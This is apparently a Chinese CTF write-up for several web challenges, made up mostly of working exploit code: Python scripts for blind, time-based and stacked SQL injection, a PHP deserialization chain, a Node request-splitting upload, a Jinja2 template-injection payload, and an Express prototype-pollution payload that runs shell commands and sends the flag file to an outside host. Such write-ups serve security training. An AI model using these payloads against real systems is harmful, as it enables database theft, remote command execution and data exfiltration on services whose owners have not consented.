学习到了一点新知识
easysqli_copy 本题漏洞比较明显,PDO 支持堆叠注入,然后用十六进制绕过 check。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import requestsimport stringimport binasciiimport urllib.parseimport threadingurl = "http://4efaa4d7badc406b9b50ecab0c36eaeb13b1c0c4b1b14e55.changame.ichunqiu.com/" flag = "" index = 1 chset = string.printable session = requests.Session() flag = '' index = 1 while True : l = 0 r = 127 m = (l+r)//2 while l<r: payload = "select if(ascii(mid((select fllllll4g from table1),{},1))>{},sleep(3),1)" .format (index,m) payload = binascii.b2a_hex(payload.encode()).decode() payload = "1" +urllib.parse.unquote("%df" )+"';set @a=0x{};prepare cmd from @a;execute cmd;" .format (payload) paramsGet = {"id" :payload} try : res = session.get(url, params=paramsGet, timeout=2 ) r = m m = (l+r)//2 except Exception as e: l = m + 1 m = (l+r)//2 flag += chr (m) print ("[+] flag: {}" .format (flag)) index += 1
blacklist 改自 2019 qwb 随便注,过滤了 set、prepare 等,随便搜搜发现是 2019 fudanctf 原题
https://www.4hou.com/posts/mM60
采用的是 mysql handler 的新特性 handler
1 https://dev.mysql.com/doc/refman/8.0/en/handler.html
payload
1 2 3 4 1. 获取表名 ;show tables;# 2. 读表 ';handler FlagHere open; handler FlagHere read first;
ezExpress 考察 toUpperCase() 漏洞和原型链污染,这个原型链污染十分的明显,直接看到未定义变量 outputFunctionName,看到了 merge 函数的触发点
payload
1 2 3 4 1. 注册账号 admın:123 2. 原型污染 application/json {"__proto__":{"outputFunctionName": "test\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('ping http://xxxxx/$(cat /flag)');var req = require('http').request(`http://*.*.*.*/?${result}`);req.end();\n//"}}
ezupload 这个看了官方 payload 表示无法理解,当时直接随便穿个马就 getshell …大概是过滤没写好吧
babyphp 反序列化 + piapiapia 原题
pop 链比较明显,UpdateHelper
的 __destruct()
=> User
的 __toString()
=>Info
的__call()
,即可任意执行 sql 语句,然后根据下面的 safe 函数溢出 payload 构成新的序列化语句
1 2 3 4 function safe ($parm ) { $array = array ('union' ,'regexp' ,'load' ,'into' ,'flag' ,'file' ,'insert' ,"'" ,'\\' ,"*" ,"alter" ); return str_replace ($array ,'hacker' ,$parm ); }
1 2 3 4 5 public function getNewInfo ( ) { $age =$_POST ['age' ]; $nickname =$_POST ['nickname' ]; return safe (serialize (new Info ($age ,$nickname ))); }
参考了月亮大哥的 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php class User { public $id ; public $age ='select id,password from user where username=?' ; public $nickname ; } class Info { public $age ; public $nickname = "a" ; public $CtrlCase ; } Class UpdateHelper{ public $id ; public $newinfo ; public $sql ; } class dbCtrl { public $hostname ="127.0.0.1" ; public $dbuser ="noob123" ; public $dbpass ="noob123" ; public $database ="noob123" ; public $name ='admin' ; public $password =2 ; public $mysqli ; public $token ="admin" ; } $o = new dbCtrl ();$i = new Info ();$i ->CtrlCase = $o ;$u = new User ();$u ->nickname = $i ;$h = new UpdateHelper ();$h ->sql = $u ;$f = new Info ();$f ->CtrlCase = $h ;$s = serialize ($f );$s = substr ($s ,47 );$len = strlen ($s );$res = "" ;for ($dd =0 ;$dd <$len ;$dd ++){ $res .="union" ; } $res .=$s ;echo urlencode ($res );
node_game 这道题当时没完成,结束后才发现当时搭环境没有搭完整…
也是参考了 Nullcon HackIM 2020 - split second 原题,但是过滤难度下降了,payload 可以直接拿来用
赛后就在本地复现了上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import urllib.parseimport requestspayload = ''' HTTP/1.1 POST /file_upload HTTP/1.1 Host: x Content-Type: multipart/form-data; boundary=---------------------------20539204871043521200876952878 Content-Length: 222 Connection: keep-alive -----------------------------20539204871043521200876952878 Content-Disposition: form-data; name="file"; filename="kk.pug" Content-Type: ../template hack -----------------------------20539204871043521200876952878-- GET /flag HTTP/1.1 x: ''' payload = payload.replace("\n" ,"\r\n" ) payload = '' .join(chr (int ('0xff' + hex (ord (c))[2 :].zfill(2 ), 16 )) for c in payload) proxy = { "http" :"127.0.0.1:8080" } requests.get("http://127.0.0.1:8081/core" , params={'q' :payload})
把 Nullcon HackIM 2020 - split second的 wp 直接拿过来过一下请求包就可以了
https://blog.rwx.kr/nullcon-hackim-2020-split-second/
最后上传以下代码就可以执行命令了
1 -global.process.mainModule.require('child_process').execSync('evalcmd')
easy_thinking 参考 https://paper.seebug.org/1114/ tp6 的任意写文件漏洞
写个小马后需要绕过 disable_functions
利用别人的工具 https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php 成功 getshell
Flaskapp 题目考察的是 模板注入 + PIN,但是当时按着 PIN 教程复现不了,好像当时是机器 id 取错了,见官方 wp
对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同,对于docker机则读取/proc/self/cgroup。
然后当时自己是直接执行命令 getflag 的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestsimport reimport base64ec_url = 'http://123.57.212.112:10001/' dc_url = ec_url + 'decode' proxy = {"http" :"127.0.0.1:8080" } payload = "{% if [].__class__.__base__.__subclasses__()[127].__init__.__globals__['sys'+'tem']('ls / > /tmp/test1') %}2{% endif %}" payload = "{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open" payload += "('this_is_the_fl'+'ag.txt', 'r').read() }}{% endif %}{% endfor %}" r1 = requests.post(url=ec_url,data={'text' :payload}) b64 = re.findall(r"结果 :(.+)" ,r1.text)[0 ].strip() r2 = requests.post(url=dc_url,data={'text' :b64}) print (r2.text)print ("=============================" )result = re.findall(r"times;</button>([\d\D]*)<!DOCTYPE html>" ,r2.text)[0 ].strip() print (result)
盲注 被这个 fl4g 坑了好久,一直在考虑暴列明,谁知道可以直接读
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestsimport stringsession = requests.Session() flag = 'f' index = 2 chset = string.printable while True : for ch in chset: print ("[*] now ch: {}" .format (ch)) paramsGet = {"id" :"if((ascii(mid(fl4g,{},1)))in({}),sleep(3),1)" .format (index,ord (ch))} r = '' try : r = session.get("http://8539506905a2494b837a7dfc662635f6d7f0286ceecf477f.changame.ichunqiu.com/" , params=paramsGet, timeout=2 ) except Exception as e: flag += ch index += 1 print ("[+] flag: {}" .format (flag)) if ch=='}' : exit() break
简单的招聘系统 注册登陆后显示名字,盲猜二次注入,直接贴 payload
1 ' or updatexml(1,concat(0x7e,(select flaaag from flag)),0) or '
easysql 搜了很久找到了 Sim1e 师傅的笔记,看到了他的无列名注入 https://www.smi1e.top/sql注入笔记/
当时直接使用字符串比较会发生奇妙的错误,需要转成十六进制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requestsimport binasciiimport urllib.parseimport stringurl = 'http://49c9b1c145ed46acb5073a40c428c5fe070ca683e1374ccc.changame.ichunqiu.com/' flag = '' while True : l = 0 r = 126 while l <= r: m = (l+r)//2 p1 = str (binascii.hexlify((flag+chr (m)).encode()))[2 :-1 ] payload ='(((select 1,0x%s)<=(select * from `f1ag_1s_h3r3_hhhhh`)))' %(p1) paramsPost = {"id" :payload} res = requests.post(url, data=paramsPost) if 'Nu1L' in res.text: l = m + 1 else : r = m - 1 m = (l+r+1 )//2 flag += chr (m-1 ) print ("[+] flag: %s" % flag) print (flag)